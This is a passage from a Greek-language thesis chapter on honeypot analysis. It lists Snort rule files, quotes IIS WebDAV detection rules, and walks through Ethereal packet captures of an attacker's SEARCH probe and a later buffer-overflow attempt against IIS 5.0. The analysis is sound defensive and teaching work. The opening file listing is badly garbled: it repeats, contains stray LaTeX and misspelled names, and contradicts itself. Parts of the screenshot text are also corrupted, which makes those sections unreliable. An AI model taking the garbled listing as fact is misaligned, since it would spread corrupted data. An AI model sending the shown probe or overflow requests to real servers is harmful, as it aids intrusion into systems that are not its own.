$^{\text{TW}-\text{T}-\text{T}-\text{T}}$ 1 galexgalex5148 Máp 8 16:21 pop3.rules $^{\text{TW}-\text{T}-\text{T}-\text{T}-\text{T}}$ 1 galexgalex5061 Máp 8 16:21 porn.rules $^{\text{TW}-\text{T}-\text{T}-\text{T}-\text{T}}$ 1 galexgalex51205 Máp 8 16:21 rpc.rules $^{\text{TW}-\text{T}-\text{T}-\text{T}-\text{T}}$ 1 galexgalex2877 Máp 8 16:21 rservices.rules $^{\text{TW}-\text{T}-\text{T}-\text{T}-\text{T}}$ 1 galexgalex4867 Máp 8 16:21 senvices.rules $^{\text{TW}-\text{T}-\text{T}-\text{T}-\text{T}}$ 1 galexgalex4997 Máp 8 16:21 shellcode.rules $^{\text{TW}-\text{T}-\text{T}-\text{T}-\text{T}}$ 1 galexgalex4048 Máp 8 16:21 smtp.rules $^{\text{TW}-\text{T}-\text{T}-\text{T}-\text{T}}$ 1 galexgalex12454 Máp 8 16:21 sql.rules $^{\text{TW}-\text{T}-\text{T}-\text{T}-\text{T}}$ 1 galexgalex2665 Máp 8 16:21 sql.rules $^{\text{TW}-\text{T}-\text{T}-\text{T}-\text{T}}$ 1 galexgalex2665 Máp 8 16:21 trip.rules $^{\text{TW}-\text{T}-\text{T}-\text{T}-\text{T}}$ 1 galexgalex2065 Máp 8 16:21 trip.rules $^{\text{TW}-\text{T}-\text{T}-\text{T}-\text{T}}$ 1 galexgalex10368 Máp 8 16:21 virus.rules $^{\text{TW}-\text{T}-\text{T}-\text{T}-\text{T}-\text{T}$ galex91561 Máp 8 16:21 web-attacks.rules $^{\text{TW}-\text{T}-\text{T}-\text{T}-\text{T}-\text{T}$ galex91561 Máp 8 16:21 web-cgi.rules $^{\text{TW}-\text{T}-\text{T}-\text{T}-\text{T}-\text{galex}$ galex1753 Máp 8 16:21 web-client.rules $^{\text{TW}-\text{T}-\text{T}-\text{T}-\text{T}-\text{galex}$ galex34729 Máp 8 16:21 web-client.rules $^{\text{TW}-\text{T}-\text{T}-\text{T}-\text{T}-\text{galex}$ galex34729 Máp 8 16:21 web-fistin.rules $^{\text{TW}-\text{T}-\text{T}-\text{T}-\text{galex}$ galex34729 Máp 8 16:21				
-rw-r-rl galexgalex5148 Máp8 16:21 pop3.rules-rw-r-rl galexgalex5061 Máp8 16:21 porn.rules-rw-rrl galexgalex51205 Máp8 16:21 rpc.rules-rw-rrl galexgalex2877 Máp8 16:21 rservices.rules-rw-rrl galexgalex4867 Máp8 16:21 rservices.rules-rw-rrl galexgalex4897 Máp8 16:21 sent.rules-rw-rrl galexgalex4997 Máp8 16:21 sintp.rules-rw-rrl galexgalex13571 Máp8 16:21 sintp.rules-rw-rrl galexgalex4048 Máp8 16:21 sintp.rules-rw-rrl galexgalex12454 Máp8 16:21 sql.rules-rw-rrl galexgalex2665 Máp8 16:21 tgl.rules-rw-rrl galexgalex2665 Máp8 16:21 virus.rules-rw-rrl galexgalex10368 Máp8 16:21 virus.rules-rw-rrl galexgalex10368 Máp8 16:21 web-cgi.rules-rw-rrl galexgalex1753 Máp8 16:21 web-cgi.rules-rw-rrl galexgalex8963 Máp8 16:21 web-client.rules-rw-r-rl galexgalex34729 Máp8 16:21 web-client.rules-rw-r-rl galexgalex76422 Máp8 16:21 web-misc.rules-rw-r-rl galexgalex76422 Máp8 16:21 web-misc.rules-rw-r-rl galexgalex <t< td=""><td></td><td></td><td></td><td></td></t<>				
-rw-r-r1 galexgalex5061 Máp8 16:21 porn.rules-rw-r-r1 galexgalex51205 Máp8 16:21 rpc.rules-rw-r-r1 galexgalex2877 Máp8 16:21 rpc.rules-rw-r-r1 galexgalex4867 Máp8 16:21 sen.rules-rw-rr1 galexgalex4867 Máp8 16:21 sen.rules-rw-rr1 galexgalex4997 Máp8 16:21 sen.rules-rw-rr1 galexgalex43571 Máp8 16:21 sen.rules-rw-rr1 galexgalex13571 Máp8 16:21 sen.rules-rw-rr1 galexgalex4048 Máp8 16:21 sen.rules-rw-r-r1 galexgalex12454 Máp8 16:21 sen.rules-rw-r-r1 galexgalex12454 Máp8 16:21 sen.rules-rw-r-r1 galexgalex2665 Máp8 16:21 telnet.rules-rw-r-r1 galexgalex2665 Máp8 16:21 virus.rules-rw-r-r1 galexgalex10368 Máp8 16:21 web-attacks.rules-rw-r-r1 galexgalex10368 Máp8 16:21 web-cej.rules-rw-r-r1 galexgalex3496 Máp8 16:21 web-coldfusion.rules-rw-r-r1 galexgalex34729 Máp8 16:21 web-coldfusion.rules-rw-r-r1 galexgalex34729 Máp8 16:21 web-misc.rules-rw-r-r1 galexgalex34729 Máp8 16:21 web-misc.rules-rw-r-r1 galexgalex34729 M	-rw-rr	1 galex	galex	5148 Μάρ 8 16:21 pop3.rules
-rw-r-r1 galexgalex51205 Máp8 16:21 rpc.rules-rw-r-r1 galexgalex2877 Máp8 16:21 rservices.rules-rw-r-r1 galexgalex4867 Máp8 16:21 scan.rules-rw-r-r1 galexgalex4997 Máp8 16:21 scan.rules-rw-r-r1 galexgalex4997 Máp8 16:21 smtp.rules-rw-r-r1 galexgalex13571 Máp8 16:21 smtp.rules-rw-r-r1 galexgalex4048 Máp8 16:21 smtp.rules-rw-r-r1 galexgalex12454 Máp8 16:21 sql.rules-rw-r-r1 galexgalex2665 Máp8 16:21 telnet.rules-rw-r-r1 galexgalex2665 Máp8 16:21 virus.rules-rw-r-r1 galexgalex2665 Máp8 16:21 web-cal.rules-rw-r-r1 galexgalex2106 Máp8 16:21 web-cal.rules-rw-r-r1 galexgalex10368 Máp8 16:21 web-cal.rules-rw-r-r1 galexgalex91561 Máp8 16:21 web-cal.rules-rw-r-r1 galexgalex1753 Máp8 16:21 web-coldfusion.rules-rw-r-r1 galexgalex34729 Máp8 16:21 web-coldfusion.rules-rw-r-r1 galexgalex34729 Máp8 16:21 web-fis.rules-rw-r-r1 galexgalex76422 Máp8 16:21 web-mis.rules-rw-r-r1 galexgalex378 Máp8 16:21 web-mis.rules-rw-r-r1 galexgalex378 Máp	-rw-rr	1 galex	galex	5061 Μάρ 8 16:21 porn.rules
-rw-r-r1 galexgalex2877 Mάρ8 16:21 rservices.rules-rw-rr1 galexgalex4867 Mάρ8 16:21 scan.rules-rw-rr1 galexgalex4997 Mάρ8 16:21 smtp.rules-rw-rr1 galexgalex13571 Mάρ8 16:21 smtp.rules-rw-rr1 galexgalex4048 Mάρ8 16:21 smtp.rules-rw-rr1 galexgalex12454 Mάρ8 16:21 sql.rules-rw-rr1 galexgalex2665 Máρ8 16:21 telnet.rules-rw-rr1 galexgalex2665 Máρ8 16:21 trules-rw-rr1 galexgalex6106 Máρ8 16:21 virus.rules-rw-rr1 galexgalex10368 Máρ8 16:21 web-attacks.rules-rw-rr1 galexgalex91561 Máρ8 16:21 web-cgi.rules-rw-rr1 galexgalex1753 Máρ8 16:21 web-coldfusion.rules-rw-rr1 galexgalex34729 Máρ8 16:21 web-frontpage.rules-rw-rr1 galexgalex34729 Máρ8 16:21 web-fils.rules-rw-rr1 galexgalex76422 Máρ8 16:21 web-misc.rules-rw-r-r1 galexgalex34729 Máρ8 16:21 web-misc.rules-rw-r-r1 galexgalex76422 Máρ8 16:21 web-misc.rules-rw-r-r1 galexgalex76422 Máρ8 16:21 web-misc.rules-rw-r-r1 galexgalex578 Máρ8 16:21 x11.rules	-rw-rr	1 galex	galex	51205 Máp 8 16:21 rpc.rules
-rw-rr 1 galex galex 4867 Máp 8 16:21 scan.rules -rw-rr 1 galex galex 4997 Máp 8 16:21 shellcode.rules -rw-rr 1 galex galex 13571 Máp 8 16:21 smtp.rules -rw-rr 1 galex galex 4048 Máp 8 16:21 smtp.rules -rw-rr 1 galex galex 12454 Máp 8 16:21 sql.rules -rw-rr 1 galex galex 3494 Máp 8 16:21 telnet.rules -rw-rr 1 galex galex 2665 Máp 8 16:21 telnet.rules -rw-rr 1 galex galex 6106 Máp 8 16:21 virus.rules -rw-rr 1 galex galex 10368 Máp 8 16:21 web-attacks.rules -rw-rr 1 galex galex 91561 Máp 8 16:21 web-cgi.rules -rw-rr 1 galex galex 91561 Máp 8 16:21 web-cgi.rules -rw-rr 1 galex galex 1753 Máp 8 16:21 web-client.rules -rw-rr 1 galex galex 8963 Máp 8 16:21 web-client.rules -rw-rr 1 galex galex 8963 Máp 8 16:21 web-client.rules -rw-rr 1 galex galex 9265 Máp 8 16:21 web-rist.rules -rw-rr 1 galex galex 9265 Máp 8 16:21 web-rist.rules -rw-rr 1 galex galex 9262 Máp 8 16:21 web-rist.rules -rw-rr 1 galex galex 76422 Máp 8 16:21 web-mist.rules -rw-rr 1 galex galex 76422 Máp 8 16:21 web-mist.rules -rw-rr 1 galex galex 76422 Máp 8 16:21 web-mist.rules -rw-rr 1 galex galex 92656 Máp 8 16:21 web-mist.rules	-rw-rr	1 galex	galex	2877 Máp 8 16:21 rservices.rules
-rw-rr-1galexgalex4997 Μάρ8 16:21 shellcode.rules-rw-rr-1galexgalex13571 Μάρ8 16:21 smtp.rules-rw-rr-1galexgalex4048 Μάρ8 16:21 smtp.rules-rw-rr-1galexgalex12454 Μάρ8 16:21 sql.rules-rw-rr-1galexgalex3494 Μάρ8 16:21 telnet.rules-rw-rr-1galexgalex2665 Μάρ8 16:21 telnet.rules-rw-rr-1galexgalex6106 Μάρ8 16:21 virus.rules-rw-rr-1galexgalex10368 Μάρ8 16:21 web-attacks.rules-rw-rr-1galexgalex91561 Μάρ8 16:21 web-cgi.rules-rw-rr-1galexgalex1753 Μάρ8 16:21 web-client.rules-rw-rr-1galexgalex8963 Μάρ8 16:21 web-client.rules-rw-rr-1galexgalex8963 Μάρ8 16:21 web-client.rules-rw-rr-1galexgalex8447 Μάρ8 16:21 web-client.rules-rw-rr-1galexgalex34729 Μάρ8 16:21 web-iis.rules-rw-rr-1galexgalex76422 Μάρ8 16:21 web-misc.rules-rw-rr-1galexgalex578 Μάρ8 16:21 x11.rules	-rw-rr	1 galex	galex	4867 Μάρ 8 16:21 scan.rules
-rw-r-rl galexgalex13571 Mάρ8 16:21 smtp.rules-rw-r-rl galexgalex4048 Mάρ8 16:21 smtp.rules-rw-r-rl galexgalex12454 Máp8 16:21 sql.rules-rw-r-rl galexgalex3494 Máp8 16:21 sql.rules-rw-r-rl galexgalex2665 Máp8 16:21 telnet.rules-rw-rrl galexgalex2665 Máp8 16:21 trip.rules-rw-rrl galexgalex6106 Máp8 16:21 virus.rules-rw-rrl galexgalex10368 Máp8 16:21 web-attacks.rules-rw-rrl galexgalex91561 Máp8 16:21 web-cgi.rules-rw-rrl galexgalex1753 Máp8 16:21 web-client.rules-rw-rrl galexgalex8963 Máp8 16:21 web-client.rules-rw-rrl galexgalex8447 Máp8 16:21 web-coldfusion.rules-rw-rrl galexgalex34729 Máp8 16:21 web-iis.rules-rw-rrl galexgalex34729 Máp8 16:21 web-iis.rules-rw-rrl galexgalex76422 Máp8 16:21 web-iis.rules-rw-rrl galexgalex578 Máp8 16:21 x11.rules	-rw-rr	1 galex	galex	4997 Máp 8 16:21 shellcode.rules
-rw-r-r1 galexgalex4048 Máp8 16:21 snmp.rules-rw-r-r1 galexgalex12454 Máp8 16:21 sql.rules-rw-r-r1 galexgalex3494 Máp8 16:21 telnet.rules-rw-r-r1 galexgalex2665 Máp8 16:21 telnet.rules-rw-r-r1 galexgalex2665 Máp8 16:21 virus.rules-rw-r-r1 galexgalex6106 Máp8 16:21 virus.rules-rw-r-r1 galexgalex10368 Máp8 16:21 web-attacks.rules-rw-r-r1 galexgalex91561 Máp8 16:21 web-cgi.rules-rw-r-r1 galexgalex1753 Máp8 16:21 web-client.rules-rw-r-r1 galexgalex8963 Máp8 16:21 web-client.rules-rw-r-r1 galexgalex8447 Máp8 16:21 web-client.rules-rw-r-r1 galexgalex8447 Máp8 16:21 web-clies.rules-rw-r-r1 galexgalex34729 Máp8 16:21 web-frontpage.rules-rw-r-r1 galexgalex76422 Máp8 16:21 web-misc.rules-rw-r-r1 galexgalex26256 Máp8 16:21 web-misc.rules-rw-r-r1 galexgalex578 Máp8 16:21 x11.rules	-rw-rr	1 galex	galex	13571 Máp 8 16:21 smtp.rules
-rw-rr-1 galexgalex $12454 \text{ Máp} \ 8 \ 16:21 \text{ sql.rules}$ -rw-rr-1 galexgalex $3494 \text{ Máp} \ 8 \ 16:21 \text{ telnet.rules}$ -rw-rr-1 galexgalex $2665 \text{ Máp} \ 8 \ 16:21 \text{ telnet.rules}$ -rw-rr-1 galexgalex $6106 \text{ Máp} \ 8 \ 16:21 \text{ trip.rules}$ -rw-rr-1 galexgalex $10368 \text{ Máp} \ 8 \ 16:21 \text{ web-attacks.rules}$ -rw-rr-1 galexgalex $91561 \text{ Máp} \ 8 \ 16:21 \text{ web-cgi.rules}$ -rw-rr-1 galexgalex $1753 \text{ Máp} \ 8 \ 16:21 \text{ web-client.rules}$ -rw-rr-1 galexgalex $8963 \text{ Máp} \ 8 \ 16:21 \text{ web-client.rules}$ -rw-rr-1 galexgalex $8963 \text{ Máp} \ 8 \ 16:21 \text{ web-client.rules}$ -rw-rr-1 galexgalex $8447 \text{ Máp} \ 8 \ 16:21 \text{ web-client.rules}$ -rw-rr-1 galexgalex $8447 \text{ Máp} \ 8 \ 16:21 \text{ web-client.rules}$ -rw-rr-1 galexgalex $8447 \text{ Máp} \ 8 \ 16:21 \text{ web-client.rules}$ -rw-rr-1 galexgalex $8447 \text{ Máp} \ 8 \ 16:21 \text{ web-frontpage.rules}$ -rw-rr-1 galexgalex $76422 \text{ Máp} \ 8 \ 16:21 \text{ web-misc.rules}$ -rw-rr-1 galexgalex $26256 \text{ Máp} \ 8 \ 16:21 \text{ web-misc.rules}$ -rw-rr-1 galexgalex $578 \text{ Máp} \ 8 \ 16:21 \text{ x11.rules}$	-rw-rr	1 galex	galex	4048 Μάρ 8 16:21 snmp.rules
-rw-rr1 galexgalex3494 Máp8 16:21 telnet.rules-rw-rr1 galexgalex2665 Máp8 16:21 tftp.rules-rw-rr1 galexgalex6106 Máp8 16:21 virus.rules-rw-rr1 galexgalex10368 Máp8 16:21 web-attacks.rules-rw-rr1 galexgalex91561 Máp8 16:21 web-cgi.rules-rw-rr1 galexgalex1753 Máp8 16:21 web-client.rules-rw-rr1 galexgalex8963 Máp8 16:21 web-client.rules-rw-rr1 galexgalex8963 Máp8 16:21 web-client.rules-rw-rr1 galexgalex8447 Máp8 16:21 web-client.rules-rw-rr1 galexgalex34729 Máp8 16:21 web-frontpage.rules-rw-rr1 galexgalex76422 Máp8 16:21 web-misc.rules-rw-rr1 galexgalex26256 Máp8 16:21 web-php.rules-rw-rr1 galexgalex578 Máp8 16:21 x11.rules	-rw-rr	1 galex	galex	12454 Μάρ 8 16:21 sql.rules
-rw-rr1 galexgalex2665 Máp8 16:21 tftp.rules-rw-rr1 galexgalex6106 Máp8 16:21 virus.rules-rw-rr1 galexgalex10368 Máp8 16:21 web-attacks.rules-rw-rr1 galexgalex91561 Máp8 16:21 web-cgi.rules-rw-rr1 galexgalex1753 Máp8 16:21 web-client.rules-rw-rr1 galexgalex8963 Máp8 16:21 web-coldfusion.rules-rw-rr1 galexgalex8447 Máp8 16:21 web-frontpage.rules-rw-rr1 galexgalex34729 Máp8 16:21 web-iis.rules-rw-rr1 galexgalex76422 Máp8 16:21 web-misc.rules-rw-rr1 galexgalex26256 Máp8 16:21 web-misc.rules-rw-rr1 galexgalex578 Máp8 16:21 x11.rules	-rw-rr	1 galex	galex	3494 Μάρ 8 16:21 telnet.rules
-rw-rr-1 galexgalex6106 Μάρ8 16:21 virus.rules-rw-rr-1 galexgalex10368 Μάρ8 16:21 web-attacks.rules-rw-rr-1 galexgalex91561 Μάρ8 16:21 web-cgi.rules-rw-rr-1 galexgalex1753 Μάρ8 16:21 web-client.rules-rw-rr-1 galexgalex8963 Μάρ8 16:21 web-coldfusion.rules-rw-rr-1 galexgalex8447 Μάρ8 16:21 web-frontpage.rules-rw-rr-1 galexgalex34729 Μάρ8 16:21 web-iis.rules-rw-rr-1 galexgalex76422 Μάρ8 16:21 web-misc.rules-rw-rr-1 galexgalex26256 Μάρ8 16:21 web-misc.rules-rw-rr-1 galexgalex578 Μάρ8 16:21 x11.rules	-rw-rr	1 galex	galex	2665 Máp 8 16:21 tftp.rules
-rw-rr1 galexgalex10368 Máp8 16:21 web-attacks.rules-rw-rr1 galexgalex91561 Máp8 16:21 web-cgi.rules-rw-rr1 galexgalex1753 Máp8 16:21 web-client.rules-rw-rr1 galexgalex8963 Máp8 16:21 web-coldfusion.rules-rw-rr1 galexgalex8447 Máp8 16:21 web-frontpage.rules-rw-rr1 galexgalex34729 Máp8 16:21 web-iis.rules-rw-rr1 galexgalex76422 Máp8 16:21 web-misc.rules-rw-rr1 galexgalex26256 Máp8 16:21 web-php.rules-rw-rr1 galexgalex578 Máp8 16:21 x11.rules	-rw-rr	1 galex	galex	6106 Μάρ 8 16:21 virus.rules
-rw-rr1 galexgalex91561 Μάρ8 16:21 web-cgi.rules-rw-rr1 galexgalex1753 Μάρ8 16:21 web-client.rules-rw-rr1 galexgalex8963 Μάρ8 16:21 web-coldfusion.rules-rw-rr1 galexgalex8447 Μάρ8 16:21 web-frontpage.rules-rw-rr1 galexgalex34729 Μάρ8 16:21 web-firontpage.rules-rw-rr1 galexgalex76422 Μάρ8 16:21 web-misc.rules-rw-rr1 galexgalex26256 Μάρ8 16:21 web-misc.rules-rw-rr1 galexgalex26256 Μάρ8 16:21 web-php.rules-rw-rr1 galexgalex578 Μάρ8 16:21 x11.rules	-rw-rr	1 galex	galex	10368 Máp 8 16:21 web-attacks.rules
-rw-rr1 galexgalex1753 Μάρ8 16:21 web-client.rules-rw-rr1 galexgalex8963 Μάρ8 16:21 web-coldfusion.rules-rw-rr1 galexgalex8447 Μάρ8 16:21 web-frontpage.rules-rw-rr1 galexgalex34729 Μάρ8 16:21 web-fis.rules-rw-rr1 galexgalex76422 Μάρ8 16:21 web-misc.rules-rw-rr1 galexgalex26256 Μάρ8 16:21 web-misc.rules-rw-rr1 galexgalex26256 Μάρ8 16:21 web-php.rules-rw-rr1 galexgalex578 Μάρ8 16:21 x11.rules	-rw-rr	1 galex	galex	91561 Μάρ 8 16:21 web-cgi.rules
-rw-rr1 galexgalex8963 Μάρ8 16:21 web-coldfusion.rules-rw-rr1 galexgalex8447 Μάρ8 16:21 web-frontpage.rules-rw-rr1 galexgalex34729 Μάρ8 16:21 web-iis.rules-rw-rr1 galexgalex76422 Μάρ8 16:21 web-misc.rules-rw-rr1 galexgalex26256 Μάρ8 16:21 web-misc.rules-rw-rr1 galexgalex26256 Μάρ8 16:21 web-php.rules-rw-rr1 galexgalex578 Μάρ8 16:21 x11.rules	-rw-rr	1 galex	galex	1753 Máp 8 16:21 web-client.rules
-rw-rr-1 galexgalex8447 Μάρ8 16:21 web-frontpage.rules-rw-rr-1 galexgalex34729 Μάρ8 16:21 web-iis.rules-rw-rr-1 galexgalex76422 Μάρ8 16:21 web-misc.rules-rw-rr-1 galexgalex26256 Μάρ8 16:21 web-php.rules-rw-rr-1 galexgalex578 Μάρ8 16:21 x11.rules	-rw-rr	1 galex	galex	8963 Máp 8 16:21 web-coldfusion.rules
-rw-rr-1 galexgalex34729 Μάρ8 16:21 web-iis.rules-rw-rr1 galexgalex76422 Μάρ8 16:21 web-misc.rules-rw-rr1 galexgalex26256 Μάρ8 16:21 web-php.rules-rw-rr1 galexgalex578 Μάρ8 16:21 x11.rules	-rw-rr	1 galex	galex	8447 Máp 8 16:21 web-frontpage.rules
-rw-rr1 galexgalex76422 Μάρ8 16:21 web-misc.rules-rw-rr1 galexgalex26256 Μάρ8 16:21 web-php.rules-rw-rr1 galexgalex578 Μάρ8 16:21 x11.rules	-rw-rr	1 galex	galex	34729 Μάρ 8 16:21 web-iis.rules
-rw-rr 1 galex galex 26256 Mάρ 8 16:21 web-php.rules -rw-rr 1 galex galex 578 Μάρ 8 16:21 x11.rules	-rw-rr	1 galex	galex	76422 Μάρ 8 16:21 web-misc.rules
-rw-rr 1 galex galex 578 Mάρ 8 16:21 x11.rules	-rw-rr	1 galex	galex	26256 Máp 8 16:21 web-php.rules
	-rw-rr	1 galex	galex	578 Μάρ 8 16:21 x11.rules

Ανοίγοντας το αρχείο web-iis.rules, στον πίνακα 3-18 θα βρούμε τον κανόνα αυτόν που παρήγαγε το alert που εξετάσαμε στον πίνακα 3-16. Η λογική των κανόνων παρουσιάζεται στο κεφάλαιο 5 της πτυχιακής του Γιάννη Παπαπάνου, που πραγματοποιήθηκε στο Internet Systematics Lab του Εθνικού Ερευνητικού Κέντρου «Δημόκριτος».

Πίνακας 3-18

••••

alert tcp \$EXTERNAL_NET any -> \$HTTP_SERVERS \$HTTP_PORTS (msg:"WEB-IIS WEBDAV exploit attempt"; flow:to_server,established; content:"HTTP/1.1|0a|Content-type|3a| text/xml |0a|HOST|3a|"; content:"Accept|3a| |2a|/|2a0a|Translate|3a| f|0a|Content-length|3a|5276|0a0a|"; distance:1; reference:cve,CAN-2003-0109; reference:bugtraq,7716; classtype :attempted-admin; sid:2090; rev:2;) alert tcp \$EXTERNAL_NET any -> \$HTTP_SERVERS \$HTTP_PORTS (msg:"WEB-IIS WEBDAV nessus safe scan attempt"; flow:to_server,established; content:"SEARCH / HTTP/1.1|0d0a|Host| 3a|"; content:"|0d0a0d0a|"; within:255; reference:cve,CAN-2003-0109; reference:bugtraq,7116; reference:nessus,11412; classtype:attempted-admin; sid:2091; rev:2;) alert tcp \$EXTERNAL_NET any -> \$HTTP_SERVERS \$HTTP_PORTS (msg:"WEB-IIS Battleaxe Forum login.asp access"; flow:to_server,established; uricontent:"myaccount/login.asp"; no case; reference:cve,CAN-2003-0215; reference:bugtraq,7416; classtype:web-application-activity; sid:2117; rev:3;)

Αναλύοντας την δομή του κανόνα που βλέπουμε μαρκαρισμένο στον παραπάνω πίνακα, μπορούμε εύκολα να παρατηρήσουμε ότι το μήνυμα msg:"WEB-IIS WEBDAV nessus safe scan attempt", είναι το ίδιο με αυτό στον πίνακα 3-16. Αυτό που πρέπει να παρατηρήσουμε είναι οι λέξεις κλειδιά "content: xxxxxx". Το content περιέχει το υπόδειγμα της επίθεσης μέσα στο ωφέλιμο φορτίο (payload) του πακέτου.

content:"SEARCH / HTTP/1.1|0d0a|Host|3a|"; content:"|0d0a0d0a|"

Εδώ παρατηρούμε ότι ο κανόνας αναζητεί συγκεκριμένα λεκτικά strings μέσα στο payload του πακέτου και strings με δεκαεξαδικούς (μέσα σε pipe '|'). Είναι προφανές για να λειτουργήσει ο κανόνας θα πρέπει να εντοπιστούν τα παραπάνω strings μέσα στο binary log. Αυτά είναι τα κριτήρια που προσδιορίζουν αν ένα πακέτο είναι ύποπτο ή όχι.

Για να μάθουμε τι ακριβώς έγινε στο **honeypot** από την συγκεκριμένη IP που παρακολουθούμε, θα πρέπει να διαβάσουμε την δικτυακή κίνηση μέσα από το **binary** αρχείο αναμένοντας αυτό που θα βρούμε φυσικά να καλύπτει τα παραπάνω κριτήρια.

Αφού υπάρχει το **binary** με όλα τα πακέτα που αλληλεπιδρά η IP που επιλέξαμε, θα δούμε σε ποιο σημείο το **snort** εντόπισε την επίθεση και παρήγαγε το alert που είδαμε στον πίνακα 3-16. Ανοίγουμε λοιπόν το αρχείο με το **ethereal** και χρησιμοποιούμε ένα φίλτρο με την πόρτα του επιτιθέμενου για να ξεχωρίσουμε τα πακέτα που θέλουμε και αφού φυσικά την έχουμε αυτή την πληροφορία από το alert. Έτσι παίρνουμε τα αποτελέσματα στην εικόνα 3-8.

Κεφάλαιο 3

Από το string που περιέχει το payload του πακέτου (εικόνα 3-8 – γραμμή 4), επιβεβαιώνουμε ότι πρόκειται για webDAV scan.

snort	. log. 10/8/58%	2 - Ethereal		210	(°°)×
Eile	Edit View	Capture Analyze He	elp	-	
۲	🗁 🔚 🗙			Ø	
No	Time	Source	Destination	Protocol	Info
	1 20:13:19.46 2 20:13:19.46 3 20:13:20.49	0021 80.132.90.203 0323 192.168.0.2 0990 80 132 90 203	192.168.0.2 80.132.90.203 192.168.0.2	TCP TCP TCP	4673 > http [SYN] Seq=3534962664 Ack=0 Win=16384 Len=0 MSS=1452 http > 4673 [SYN, ACK] Seq=2402025885 Ack=3534962665 Win=17424 Len=0 H 4572 > http [ACK] Seq=3534962665 Ack=3402055896 Win=17424 Len=0
	4 20:13:20.50	0014 80,132,90,203	192.168.0.2	HTTP	SEARCH / HTTP/1,1
	5 20:13:20.68 6 20:13:20.76 7 20:13:20.77	2762 192.168.0.2 9921 192.168.0.2 1211 192.168.0.2 1211 192.168.0.2	80,132,90,203 80,132,90,203 80,132,90,203	TCP HTTP HTTP TCP	http > 4673 (ACK) Seq=2402025886 Ack=3534962706 Uin=17383 Len=0 HTTP/1.1 411 Length Required Continuation
	9 20:13:22.33	8295 80.132.90.203	192.168.0.2	TCP	4673 > http [RST] Seq=3534362706 Rck=2402020037 01n=17214 Len=0 4673 > http [RST] Seq=3534962706 Rck=3535481966 Uin=0 Len=0
E Int	ternet Protocol Inswission Cont ertext Transfe SEARCH / HITP/ Hest: \r\n	, Sre Addr: 80,132,90,2 rol Protocol, Sre Port: • Protocol 10,100 • 200	03 (80,132,90,203), Det A 4673 (4673), Det Port: h	ddr; 192. ttp (80),	168.0,2 (192.168.0,2) Seq: 3554962665, Ack: 2402025886, Len: 41
4	10.988 <u> </u>			- 772	
0010	00 E1 97 1E W	0 00 77 05 EJ 45 50 84	Fr -1 -00 -0 - 0+ 0 - 1	P.7	
0020 0030 0040 0050	4b 02 12 16 40 4b 02 12 41 00 44 10 c3 0a 00 54 54 50 26 30	0 00 75 06 56 26 50 34 0 50 42 b3 3f e9 8f 2c 0 00 53 45 41 52 43 48 1 26 31 0d 0a 6f 7	Sa cb ar es .04.04.5.1. 01 96 50 18 K., A.P., 2. 20 26 20 48 D	Host: 1	
Filter:	top.port == 46	78			Reset Apply

Εικόνα 3-8

Οι ASCII χαρακτήρες που μεταφέρθηκαν σε αυτά τα πακέτα μας δίνουν το παρακάτω αποτέλεσμα, στο οποίο οι κόκκινοι χαρακτήρες είναι η αίτηση του επιτιθέμενου και οι μπλε η απάντηση που πήρε.

SEARCH / HTTP/1.1 Host: 192.168.0.2 HTTP/1.1 411 Length Required Server: Microsoft-IIS/5.0 Date: Wed, 26 Nov 2003 18:09:31 GMT Connection: close Content-Type: text/html Content-Length: 50 <body><h2>HTTP/1.1 411 Length Required</h2></body>

Από όσο μπορούμε να καταλάβουμε, ο επιτιθέμενος πήρε την απάντηση που ήθελε. Το μηχάνημα τρέχει Microsoft-IIS/5.0 και είναι έτοιμο να δεχτεί WebDAV εντολές. Επίσης μετά από αυτόν τον έλεγχο είμαστε σίγουροι ότι το alert του snort οφείλεται σε πραγματικό γεγονός και δέν πρόκειται για false positive.

Η απόπειρα εκμετάλλευσης του vulnerability

Η Επόμενη ενέργεια που υποψιαζόμαστε ότι μπορεί να ακολουθήσει, είναι να επιχειρηθεί προσπάθεια για buffer overflow με εκμετάλλευση της ευπάθειας αυτής στην ntdll.dll βιβλιοθήκη. Πράγματι, παρακολουθώντας την ροή της δικτυακής κίνησης θα δούμε να αποστέλνονται WebDAV εντολές με μεγάλες συμβολοσειρές (strings) με σκοπό προφανώς να γίνει overflow και να και να εκτελεστεί κακόβουλος κώδικας.

snort, log, 107875 File Edit Vie	5892 - Ethereal w Capture Analyze He	0			×c
	×		0		
No Time	Source	Destination	Protocol	Info	1-
18 20:19:0	5,988768 80,132,90,203	192.168.0.2	HTTP	SEARCH //021/021/021/021/021/021/021/021/021/02	
19 20;19:04	4,072672 80,132,90,203	192.168.0,2	HTTP	Continuation	
20 20:19:04	4.074123 192.168.0.2	80,132,90,203	TCP	80 > 4776 [ACK] Seq=1 Ack=2905 Win=17424 Len=0	100
21 20:19:0	4,353145 80,132,90,203	192.168.0,2	HTTP	Continuation	
22 20:19:0	4,434/54 80,132,90,205	192.168.0,2	HITP	Continuation	
23 20:19:04	4,436145 80,152,90,205	192.168.0.2	HEIP	[ICP Ketranswission] Lontinuation	
24 20:19:04	1.435145 192.168.0,2	80,132,90,203	UTTO	SV 2 4776 [HLK] Seq#1 HCK#S8V5 UIN#17424 Len#V	
25 20:13:04	4,518615 80,152,30,205	90 173 60 307	TCO	SO > 4776 [OCK] Second Only 2021 User17424 Lanco	
27 20:13:0	1 990997 90 122 90 207	102 169 0 2	HTTP	Continuation	
28 20-19-0	1 962540 80 132 90 203	192.168.0.2	HTTP	Continuation	
29 20:19:04	4.963924 80.132.90.203	192.168.0.2	HTTP	[TCP_Retransvission] Continuation	1.
⊞ Frame 18 (150 ⊞ Ethernat II -	5 bytes on wire, 1506 bytes Sect 00:0at30:29:d5:80 Det:	captured) 00:04:e2:33:e2:e2			-
Internet Prote Transaission I	ocol, Src Addr: 80,132,90,20 Cantral Protocol, Src Part:	3 (80,132,90,203), Dst A 4776 (4776), Dst Port; 8	ddr:192.	168.0.2 (192.168.0.2) eet 1. Ackt 1. Lent 1452	1
🗆 Hypertext Tra	nsfer Protocol				
SEARCH AO	21/021/021/021/021/021/021/0	211021102110211021102110	021\021\02	1/051/051/051/051/051/051/051/051/051/05	1
4	9	10			•
0030 44 10 66 4	7 00 00 53 45 41 52 43 48	20 26 11 11 D. fG SE PI	REHEZU		-
0040 11 11 11 1	1 11 11 11 11 11 11 11 11 11	11 11 11 11			
0050 11 11 11 1	1 11 11 11 11 11 11 11 11	1 11 11 11			
0060 11 11 11		1 11 11 11			
0080 11 11 11 1					
0090 11 11 11 1	1 11 11 11 11 11 11 11 11				-
Filter in addr er	1 and fice not a	or 4776 and top port ep 80	n V Bes	et Anniu	-
	a second s	A second s	100		-

Εικόνα 3-4

